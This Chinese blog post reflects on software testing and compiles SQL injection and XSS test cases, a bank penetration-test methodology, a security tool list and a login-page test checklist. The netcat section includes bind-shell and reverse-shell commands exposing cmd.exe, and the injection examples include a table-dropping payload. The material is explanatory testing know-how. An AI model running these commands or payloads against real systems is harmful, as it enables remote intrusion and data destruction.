细谈测试---我的启示录

╄→гoц情女王★ 提交于 2019-11-27 08:17:33

    小时候对测试不很重视,比如让你做一件事,你会考虑其风险,别的因素吗。当你埋头只顾自己写软件代码,发布软件,就完事啦。但事实并非如此,对方说你的网站有漏洞,或者软件注册码容易破解,这些你并不知道。跟客户打交道,客户不是说做完项目就完事啦,往往要一个月维护。或者测试一下。意外的情况也很多,这些你绝对没想到。软件的bug如何产生的,在你写之前就产生。人的思维并非绝对的。往往是相对的,人们总喜欢自以为是,"I,M GOOD......"但测试离不开实践,不犯错误是不可能的。

        

软件测试就像给人诊断




软件测试的过程其实很像给人看病的过程

首先,你看到一个人的症状的时候,就是看到了这个bug,
然后通过这个bug可以联想到某种病
通过对于这个种病的联想
你可以查看有关这种病的关联性bug是否在这个人的身上也都存在,
如果这种病的关联性的bug都存在
那么就可以很肯定的说,这个人是得了这个病。


。。。。
当修复了这个bug之后,


你应该把有关这个病的所有bug都验证一遍,

并且最好把全身都检查一遍,以确保没有影响到整个人

软件测试就像是向上帝祷告

你究竟有罪没有,牧师有时会问你有没有罪,求上帝宽恕

按照上帝说:“世人皆有罪,唯有上帝是洁净的”

软件产品代码bug,是存在的。

软件测试就像测试人生

如,一个故事----我为什么没升职


到公司 工作快三年了,比我后来的同事陆续得到了 升职的机会,我却原地不动,心里颇不是滋味。终于有一天,冒着被解聘的危险,我找到老板理论。

“老板,我有过迟到、早退或乱章违纪的现象吗?”我问。

老板干脆地回答“没有”。

那是公司对我有偏见吗?”老板先是一怔,继而说“当然没有。”

“为什么比我资历浅的人都可以得到重用、而我却一直在微不足道的岗位上?”

老板一时语塞,然后笑笑说:“你的事咱们等会再说,我手头上有个急事,要不你先帮我处理一下?”

一家客户准备到公司来考察产品状况,老板叫我联系他们,问问何时过来。

“这真是个重要的任务。”临出门前,我不忘调侃一句。

一刻钟后,我回到老板办公室。

“联系到了吗?”老板问。

“联系到了,他们说可能下周过来。”

“具体是下周几?”老板问。

“这个我没细问。”

“他们一行多少人。”

“啊!您没问我这个啊!”

“那他们是坐火车还是飞机?”

“这个您也没叫我问呀!”

老板不再说什么了,他打电话叫朱政过来。

朱政比我晚到公司一年,现在已是一个部门的负责人了,他接到了与我刚才相同的任务。

一会儿功夫,朱政回来了。

“哦,是这样的一一”

朱政答道:“他们是乘下周五下午3点的飞机,大约晚上6点钟到,他们一行5人,由采购部王经理带队,我跟他们说了,我公司会派人到机场迎接。另外,他们计划考察两天时间,具体行程到了以后双方再商榷。为了方便工作,我建议把他们安置在附近的国际**,如果您同意,房间明天我就提前预订。还有,下周天气预报有雨,我会随时和他们保持联系,一旦情况有变,我将随时向您汇报。”

朱政出去后,老板拍了我一下说:“现在我们来谈谈你提的问题。”

“不用了,我已经知道原因,打搅您了。”

我突然明白,没有谁生来就担当大任,都是从简单、平凡的小事做起,今天你为自己贴上什么样的标签,或许就决定了明天你是否会被委以重任。

能力的差距直接影响到办事的效率,任何一个公司都迫切需要那些工作积极主动负责的员工。

优秀的员工往往不是被动地等待别人安排工作,而是主动去了解自己应该做什么,然后全力以赴地去完成。


测试就是感悟人生,没有最好,只有更好。

下面谈谈对软件,网站的项目测试


SQL注入测试用例

Drop table.  Guess table name and drop it, note the next flowing SQL language

Select * from A where A.a = ‘testdata’; drop table A---’;

2.  2.    If a field only allow number, give it a String or others

3.     Use ‘OR 1=1’, get all records in query function

Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

4.   3.    In login function, give user name field like ‘username’--’, “--’ and A.password = ‘’” is commented

Select * from user A where A.username =  ‘username’--’ and A.password = ‘’;

 

5.  4.     Adding records function, if there is 4 fields in this table, add 5 fields, eg.

Normal: Insert into table A values(‘’,’’,’’,’’);

Test Data: Insert into table A values(‘’,’testdata’,’’,’’,’’);

6.  5.    Input test data in or out of this field data 

7.  6.    Add single quotation marks and semicolon, and break off string splicing, this is similar with point 4

Update table A set A.a = ‘testdata’;--

Yellow partis test data we input 


网站安全测试

web测试--安全性:
(1)表单验证
(2)sql注入
(3)跨站点攻击

(1)表单验证
对所输入的用户名 密码 邮箱@ 手机号(11位)进行验证

(2)sql 注入
如果攻击者的登录的用户名和密码分别是: 空格or 1=1# 密码是 空
select * from users where username=' or 1=1#’ and password=md5('')
在sql中#是注释语
等价与
select * from users where username=' or 1=1
1=1是 true
 简单说来就是
select * from users
这样就可以从数据库中提出所有的用户的信息

(3)跨站点攻击

XSS跨站脚本攻击的分类

反射型XSS跨站脚本攻击

源码变成了“<p>欢迎您, <script>alert(/我的名字是张三/)</script>!</p>”,从源代码中我们发现,用户输入 的数据中,<script>与</script>标签中的代码被浏览器执行了,而这并不是网页脚本程序想要的结果。这个例子正是 最简单的一种XSS跨站脚本攻击的形式,称之为反射型XSS。

存储型XSS跨站脚本攻击

存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户, 都会在他们客户端浏览器环境中执行插入的恶意代码。如流行的Bo-Blog程序的早期版本中存在对用户提交评论数据过滤不严导致的XSS跨站脚本攻击漏 洞,黑客可以在文章评论中提交插入恶意数据的UBB代码,提交后,Bo-Blog程序会将数据保存至数据库中,当用户浏览该日志时,就会执行插入的恶意代 码,
基于DOM的XSS跨站脚本攻击。

Android项目应用测试


测试的种类
  在开发过程中,任何时间段都可以参与测试,这取决于采用何种测试方案。但是,我们推荐测试 工作在项目开发早期就介入,甚至可以在完整需求出来之后、刚开始开发的时候就开始做准备。
  基于被测对象的不同,有好几种不同的测试方法。但是无论采用哪种测试方法, 测试用例都包含执行条件和执行结果,执行结果返回True或者False来表示用例是否正确。
     单元测试
   单元测试,指的是程序员在开发阶段写的测试用例。这种测试用例需要将被测对象独立隔离起来,也就是mock掉外部关联对象。单元测试用例应用是可以重复执行的。这也是为什么我们常把单元测试和mock对象关联在一起。因为你要通过mock对象来模拟外部交互从而达到隔离被测对象的目的。当然,这样的用例可以重复执行任何次数。例如,假设你要从 数据库中删除某些数据,但是下一次执行这个用例时这些数据还需要用,因此不想这些数据真正被删除,这时候mock数据库的返回,假装数据已经删除成功了。
   Junit是约定俗成的标准单元测试框架。它是一个简单、开源的自动化单元测试框架,由ErichGamma和KentBeck两位作者创建。
   Android要用Junit 3。这个版本没有注释,而是通过内部自查来感知测试用例的。一个典型的Junit测试用例写法如框1.1中所示的代码,其中测试方法用高亮度显示:
     Junit测试代码样例
/**
* Android Application Testing Guide
*/
package com.example.aatg.test;
import JUnit.framework.TestCase;
/**
* @author diego
*/
public class MyUnitTests extends TestCase {
private int mFixture;
/**
* @param name test name
*/
public MyUnitTests(String name) {
super(name);
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#setUp()
*/
protected void setUp() throws Exception {
super.setUp();
mFixture = 1234;
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#tearDown()
*/
protected void tearDown() throws Exception {
super.tearDown();
}
/**
* Preconditions
*/
public void testPreconditions() {
}
/**
* Test method
*/
public void testSomething() {
fail("Not implemented yet");
}
}
  如果你购买了Packt书,可以访问http://www.PacktPub.com,在个人账户中下载样本源代码。如果你是从其他地方购买的书,可以访问http://www.PacktPub.com/support来注册用户,然后我们将源码文件直接发E-mail给您。
  。案例
  测试套件
  测试套件是个为人熟知的名词,它表示执行用例的标准流程模式。每个测试用例都用同一套标准流程。因此,它也是测试用例设计的基础。
  通常情况下,按照Android的约定,它由一系列成员变量构成。通常以m开头,如: mActivity。但是,它也有一些扩展数据,作为数据库和文件系统操作的特殊入口。
   2.setUp方法
  这个方法是用来初始化测试套件用的。
  通过重载这个方法,你可以新建对象,初始化元素。在每个测试用例执行之前,这个SetUp方法都会执行一次。
   3.tearDown方法
  tearDown方法是在测试套件中最后执行的函数。
  在测试用例执行过程中,会初始化一些对象,这些对象可以在tearDown函数中进行销毁。因为tearDown函数是每个测试用例最后必须执行的,是销毁对象的最佳阶段。
  比如:你可以在tearDown中释放掉数据库连接以及网络连接。
  Junit设计的流程是这样的:首先,将整个库的用例都编译完。然后,在第二阶段再执行测试用例。因此,在测试执行过程中,执行器对所有用例都有强依赖。也就是说,对于那些用例很多、耗时很长的用例来说,在所有用例完成之前,是不会对变量、对象进行回收的。这点在 Android测试中特别重要,因为在某些设备上测试失败的原因不是因为固有的逻辑问题,而是因为用例执行太多导致资源不足了。

  因此,在Android应用中,你若测试使用了额外的、有限的资源,比如Services服务或者contentProvides,那么,你应该注意要及时释放掉。在tearDown方法中,严格遵守将对象设置成null的规则,以便及时回收,避免一直占用资源,一直到所有用例跑完才释放。

渗透测试

银行网站测试


银行是网络信息技术应用最密集、应用水平最高的行业之一,基于计算机网络的各类银行信息系统已经成为银行产品的开发推广、银行业务的展开、银行日常管理和决策的所依赖的关键组成部分。这种依赖性使得银行面临着由于网络信息系统本身所带来的银行信息技术风险。

  银行信息技术风险的主要挑战来自于基础网络信息技术的复杂性和变化,其中面对互联网主要有以下几个方面风险:

  基于网络的电子银行,需要有完善的安全体系架构;

  面向Internet的银行业务面临着各种各样的互联网威胁;

  远程移动用户接入和内部用户接入Internet,都可能引入不同类型的威胁源;

  钓鱼网站对于银行网上业务和企业信誉的损害。

  伴随银行业务的发展,原有的网上银行、门户网站等都进行了不同程度的功能更新和系统投产,同时,行内系统安全要求越来越高,可能受到的恶意攻击包括:信息篡改与重放、信息销毁、信息欺诈与抵赖、非授权访问、网络间谍、“黑客”入侵、病毒传播、特洛伊木马、蠕虫程序、逻辑炸弹等。这些攻击完全能造成信息系统瘫痪、重要信息流失。

  二、渗透测试的目标

  本项目通过渗透测试的方式,模拟黑客的攻击思路与技术手段,达到以下目标:

  从攻击者角度,发现网银系统、信用卡网站、门户网站和中间业务等应用系统及网关入口设备存在的安全隐患;

  检测对外提供服务的业务系统(如网银系统、信用卡网站、门户网站等)以及行内重要业务系统的威胁防御能力。

  深度挖掘渗透测试范围内应用系统各个层面(应用层、网络层、系统层)的安全漏洞;

  检验当前安全控制措施的有效性,针对发现的安全风险及时进行整改,增强系统自身防御能力,提升安全保障体系的整体健壮性。

  三、渗透测试原则与风险控制原则

  遵循规范

  渗透测试通过可控的安全测试技术对限定范围内的应用系统进行渗透测试,同时结合以下业界著名的测试框架组合成最佳实践进行操作:

  ISECOM制定的开源安全测试方法OSSTMM-v2.2

  开放Web应用安全项目OWASP-v3

  风险控制

  渗透测试过程最大的风险在于测试过程中对业务产生影响,为此我们在实施渗透测试中采取以下措施来减小风险:

  ● 双方确认

  进行每一阶段的渗透测试前,必须获得客户方的书面同意和授权。对于任何渗透测试的对象的变更和测试条件的变更也都必须获得双方的同意并达成一致意见,方可执行。

  ● 工具选择

  为防止造成真正的攻击,在渗透性测试项目中,启明星辰会严格选择测试工具,杜绝因工具选择不当造成的将病毒和木马植入的情况发生。

  ● 时间选择

  为减轻渗透性测试对用户网络和系统的影响,安排在不影响正常业务运作的时间段进行,具体时间主要限制双方协调和商定的时间范围内。

  ● 范围控制

  启明星辰承诺不会对授权范围之外的网络设备、主机和系统进行漏洞检测、攻击测试,严格按照渗透测试范围内限定的应用系统进行测试。

  ● 策略选择

  为防止渗透性测试造成用户网络和系统的服务中断,启明星辰在渗透性测试中不使用含有拒绝服务的测试策略,不使用未经许可的方式进行渗透测试。

  ● 操作过程审计

  为保证测试过程可审计,启明星辰将在测试过程中开启测试工具的审计日志功能,阶段性测试目标测试结束后,会将审计日志提交用户,以便用户监控测试过程。

  ● 项目沟通

  启明星辰建议:在项目实施过程中,除了确定不同阶段的测试人员以外,还要确定各阶段的客户方配合人员,建立双方直接沟通的渠道;项目实施过程中需要客户方人员同时在场配合工作,并保持及时、充分、合理的沟通。

  ● 系统备份和恢复措施

  为避免实际渗透测试过程中可能会发生不可预知的风险,因此在渗透测试前相关管理人员应对系统或关键数据进行备份、确保相关的日志审计功能正常开启,一旦在出现问题时,可以及时的恢复运转。

黑客测试工具


一、Nessus
  是扫描UNIX漏洞的主力工具,随后栖身 Windows。主要功能包括本地和远程安全审查,支持client/server结构,具有GTK图形界面,并支持脚本语言编写插件。属免费开源。
  二、Wireshark
  说起Wireshark,不得不提Ethereal,Ethereal和Windows的sniffer pro并称网络嗅探工具双雄,不过和sniffer pro不同的是Ethereal在 Linux类系统中应用更为广泛。而Wireshark则是Ethereal后续版本,是在Ethereal被收购后推出的最新网络嗅探软件,是功能强大的网络数据捕获工具,可分析网络数据流量,在第一时间发现蠕虫病毒,木马程序以及ARP欺骗等问题的根源。
  三、Snort
  Snort免费跨平台,用作监视小型TCP/IP网的嗅探器、日志 记录、侵入探测器。可运行linux/UNIX和Win,snort有三种 工作模式:嗅探器、数据包记录器、网络入侵检测系统。
  嗅探器模式是snort从网络上读出数据包然后显示控制台上。例如要把TCP/IP包头信息打印在屏幕上,需要输入命令:snort -v
  四、Netcat
  netcat被誉为‘瑞士军刀',一个简单有用的工具,透过使用TCP或UDP协议的网络连接读写数据。它被设计成一个稳定的后门工具,是一个功能强大的网络调试和探测工具。
  1)例子:连到192.168.x.x的TCP80端口的命令:nc -nvv 192.168.x.x 80
  2) 监听本机的TCP80端口: nc -l -p 80
  3) 扫描192.168.x.x的TCP80到TCP445的所有端口: nc -nvv -w2 -z 192.168.x.x 80-445
  4)  绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口REMOTE主机绑定 SHELL: nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
  5)REMOTE主机绑定SHELL并反向连接,例如:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口的命令:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
  6)作攻击程序用,例子:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'内容:
  格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
  格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
  7)作蜜罐用,例子:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
  格式:nc -L -p 80
  五、Metasploit Framework
  是一个编写、 测试和使用exploit代码的完善环境。这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和 Python编写的可选组件。Metasploit Framework 作为一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台。它集成了各平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变得方便和简单。
  六、Hping2
  Hping2:一种网络探测工具,是ping的超级变种,这个小工具可以发送自定义的ICMP,UDP和TCP数据包,并接收所有反馈信息。例如可以设置时间间隔,数据包发送的频率(-i uX X为微秒),命令为:hping2 192.168.0.1 -c 2 -i u1000
  七、Kismet
  Kismet是一个基于Linux的无线网络扫描程序,一个相当方便的工具,通过测量周围无线信号找到目标WLAN。当Kismet开始运行时,将会显示这个区域内它找到所有的无线局域网,“Name”列中所显示出来的就是WLAN中AP的SSID值,开始设定的目标WLAN也应该包含中其中,在这一行中,CH列的值(AP所使用的频道)应该与开始所记下的相同。在窗口的最右边显示的信息是Kismet发现的WLAN的数目,已被捕捉下来了的数据包、已加密了的数据包的数目等等。甚至当目标计算机已关闭时,Kismet也正可从我们的目标AP中检测到数据包,这是因为目标AP在不停地发出“beacons”,它将告之拥有无线网卡的计算机有一个AP在此范围内。
  八、Tcpdump
  基于linux 的TcpDump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。tcpdump就是一种免费的网络分析工具,尤其其提供了源代码,公开了接口,因此具备很强的可扩展性,对于网络维护和入侵者都是非常有用的工具。
  九、Cain and Abel
  是一款Windows平台下的口令恢复工具。它通过采用多种方式来恢复多种口令,采取方式包括:嗅探网络,使用字典、暴力、密码分析方法破解解密口令,记录VoIP会话,解码混杂口令,恢复无线网络密钥,揭示口令框中输入的口令(星号查看),披露缓冲口令和分析路由协议。这个工具没有利用任何软件漏洞或缺陷,它利用了协议标准、认证方法和缓冲机制本身存在的安全问题以及内在的弱点,其主要目的是简单地恢复多种程序的口令和凭证。该软件由两部分组成:Cain和Abel。Cain(Cain.exe)是程序的主图形界面,Abel是一个Windows服务,由文件Abel.exe和Abel.dll组成。
  十、John the Ripper
  用于在已知密文的情况下尝试破解出明文的破解密码软件。目前的最新版本是 JOHN 1.4 版, 主要支持对 DES、 MD5 两种加密方式的密文进行破解工作。它可以工作于多中不同 的机 型 以及多种不同的 操作系统
  十一、Ettercap
  Ettercap最初设计为交换网上的sniffer,但是随着发展,它获得了越来越多的功能,成为一款有效的、灵活的中介攻击工具。它支持主动及被动的协议解析并包含了许多网络和主机特性(如OS指纹等)分析。Ettercap有5种sniffing工作方式:
  (1)IPBASED:基于IP地址的sniffing方式,Ettercap根据源IP-PORT和目的IP-PORT来捕获数据包。
  (2)MACBASED: 基于MAC地址的方式,Ettercap将根据源MAC和目的MAC来捕获数据包。
  (3) ARPBASED : 基于ARP欺骗的方式下,Ettercap利用ARP欺骗在交换局域网内监听两个主机之间的通信(全双工)。
  (4) SMARTARP: 在SMARTARP方式下,Ettercap利用ARP欺骗,监听交换网上某台主机与所有已知的其他主机(存在于主机表中的主机)之间的通信(全双工)。
  (5) PUBLICARP : 在PUBLICARP方式下,Ettercap利用ARP欺骗,监听交换网上某台主机与所有其它主机之间的通信(半双工)。
  十二、Nikto
  Nikto 是一款开放源代码的、功能强大的 WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题,它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的 http模式等等。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。
  十三、Ping/telnet/dig/traceroute/whois/netstat:最基本的安全命令。
  十四、OpenSSH / PuTTY / SSH
  SSH(Secure Shell)现在普遍应用于登录远程计算机或在其上执行命令。为不安全网络上的两台不互信计算机间通讯提供安全加密,代替非常不可靠的telnet/rlogin/rsh交互内容。大多unix使用开源的OpenSSH服务器和客户端程序。Windows用户更喜欢免费的PuTTY客户端,也可以运行在多种 移动设备上。还有一些windows用户喜欢使用基于终端的OpenSSH模拟程序Cygwin。
  十五、THC Hydra
  如果某人需要暴力破解一个远程认证服务,Hydra经常会是选择对象。它可以同时对30个以上的端口进行基于字典的快速破解,包括telnet、ftp、http、https、smb、多种 数据库及其它服务。和THC Amap一样,Hydra来自于民间组织THC。
  十六、Paros proxy
  proxy是架设在攻击者的 浏览器和目标网站中间,所有的要求和回应都会被送到,藉此骇客得以仔细研究这些封包资讯,包括在网页传送中的、变数,并可以修改这些变数后再送出。proxy功能齐全,具备网站弱点扫描和侦测能力,对一些常见的网页应用程序攻击,都可进行检测,甚至能够检测出不安全的网页组件。
  十七、Dsniff
  Dsniff是一个高级的口令嗅探器,是第一批扩展了传统Sniffer概念的监听工具,将制造的数据包注入网络,并将通信数据重新定向到攻击者的机器。在这种方式下,Dsniff允许攻击者在交换环境的网络内窃听数据,甚至在攻击者和攻击目标不在同一个Lan,也能使攻击者收集到想要的数据。支持telnet 、ftp、smtp、pop、imap、http应用协议。十八、NetStumbler
  NetStumbler 是一款专门用来寻找无线AP的工具,是目前最流行的无线搜寻工具。开启后能自动显示附近探测到的无线AP,并能显示这些无线AP的SSID、MAC地址、频段、速度、是否加密等信息。值得一提的是,NetStumbler可以显示设置了隐藏SSID的无线AP,在软件界面中可以看到该AP的绿灯在不断闪烁。在树状结构中列出了各频段检测到的无线AP。由于NetStumbler进行全面扫描,所以附近无线AP将一览无余。因为它是美国人开发的,所以只能检测1~11之间的11个频段,而国内无线频段分为13个频段,12~13频段的无线AP将无法搜寻到。
  十九、THC Amap
  它可以检测出某一端口正在被什么程序监听。因为其独有的version detection特性,所以其数据库不会象Nmap一样变得很大,在Nmap检测某一服务失败或者其它软件不起作用时可以考虑使用之。Amap的另一特性是其能够解析Nmap输出文件。这也是THC贡献的另一款很有价值的工具。
  二十、GFI LANguard
  企业网络漏洞管理的三大主要问题:网络扫描、网络审计和补丁管理。GFI LANguard Network Security Scanner (N.S.S.) 是一项屡获殊荣的解决方案,能够扫描、检测、评估和修复网络中的任何安全漏洞。作为管理员您经常需要处理各种不同的问题,有时会使用多种产品分别处理与网络漏洞、补丁管理和网络审计相关的问题。使用 GFI LANguard N.S.S.,漏洞管理的三大主要问题可以通过带有丰富报告功能的单个控制面板得以解决。
网页通用测试

比如 有一个登陆页面, (假如上面有2个textbox, 一个提交按钮。 请针对这个页面设计30个以上的testcase.)

  此题的考察目的: 面试者是否熟悉各种 测试方法,是否有丰富的 Web测试经验, 是否了解Web开发,以及设计Test case的能力
  这个题目还是相当有难度的, 一般的人很难把这个题目回答好。
  首先,你要了解用户的需求,比如这个登录界面应该是弹出窗口式的,还是直接在网页里面。对用户名的长度,和密码的强度(就是是不是必须多少位,大小写,特殊字符混搭)等。还有比如用户对界面的美观是不是有特殊的要求?(即是否要进行UI测试)。剩下的就是设计用例了 ,等价类,边界值等等。
  请你记住一点,任何测试,不管测什么都是从了解需求开始的。
   功能测试(Function test)
  0. 什么都不输入,点击提交按钮,看提示信息。(非空检查)
  1.输入正确的用户名和密码,点击提交按钮,验证是否能正确登录。(正常输入)
  2.输入错误的用户名或者密码, 验证登录会失败,并且提示相应的错误信息。(错误校验)
  3.登录成功后能否能否跳转到正确的页面(低)
  4.用户名和密码,如果太短或者太长,应该怎么处理(安全性,密码太短时是否有提示)
  5.用户名和密码,中有特殊字符(比如空格),和其他非英文的情况(是否做了过滤)
  6.记住用户名的功能
  7.登陆失败后,不能记录密码的功能
  8.用户名和密码前后有空格的处理
  9.密码是否加密显示(星号圆点等)
  10.牵扯到验证码的,还要考虑文字是否扭曲过度导致辨认难度大,考虑颜色(色盲使用者),刷新或换一个按钮是否好用
  11.登录页面中的注册、忘记密码,登出用另一帐号登陆等链接是否正确
  12.输入密码的时候,大写键盘开启的时候要有提示信息。
   界面测试(UI Test)
  1.布局是否合理,2个testbox 和一个按钮是否对齐
  2.testbox和按钮的长度,高度是否复合要求
  3. 界面的设计风格是否与UI的设计风格统一
  4. 界面中的文字简洁易懂,没有错别字。
   性能测试(performance test)
  1.打开登录页面,需要几秒
  2.输入正确的用户名和密码后,登录成功跳转到新页面,不超过5秒
   安全性测试(Security test)
  1.登录成功后生成的Cookie,是否是httponly (否则容易被脚本盗取)
  2.用户名和密码是否通过加密的方式,发送给Web服务器
  3.用户名和密码的验证,应该是用服务器端验证, 而不能单单是在客户端用javascript验证
  4.用户名和密码的输入框,应该屏蔽 SQL注入攻击
  5.用户名和密码的的输入框,应该禁止输入脚本 (防止XSS攻击)
  6.错误登陆的次数限制(防止暴力破解)
  7. 考虑是否支持多用户在同一机器上登录;
  8. 考虑一用户在多台机器上登录
   可用性测试(Usability Test)
  1. 是否可以全用键盘操作,是否有快捷键
  2. 输入用户名,密码后按回车,是否可以登陆
  3. 输入框能否可以以Tab键切换
   兼容性测试(Compatibility Test)
  1.主流的浏览器下能否显示正常已经功能正常(IE,6,7,8,9, Firefox, Chrome, Safari,等)
  2.不同的平台是否能正常 工作,比如 Windows, Mac
  3.移动设备上是否正常工作,比如Iphone, Andriod
  4.不同的分辨率
  本地化测试 (Localization test)
  1. 不同语言环境下,页面的显示是否正确。
  软件辅助性测试 (Accessibility test)
  软件辅助功能测试是指测试软件是否向残疾用户提供足够的辅助功能
  1. 高对比度下能否显示正常 (视力不好的人使用)

最后的测试,老板会检测你对公司的忠诚度,会不会给你重任,你肯定面临这一测试,否则你干不下去啦。

test,test

其实测试无处不在,比如进入婚姻圣殿前,妻子会对你进行婚姻忠诚度测试,还有牧师的表白。。。。。

你也将又面临一项测试。

好累呀。


I don't know who hold tomorrow

耳边响起徐志摩的诗《再别康桥》

悄悄的来我又悄悄的走了。

adiOS





易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!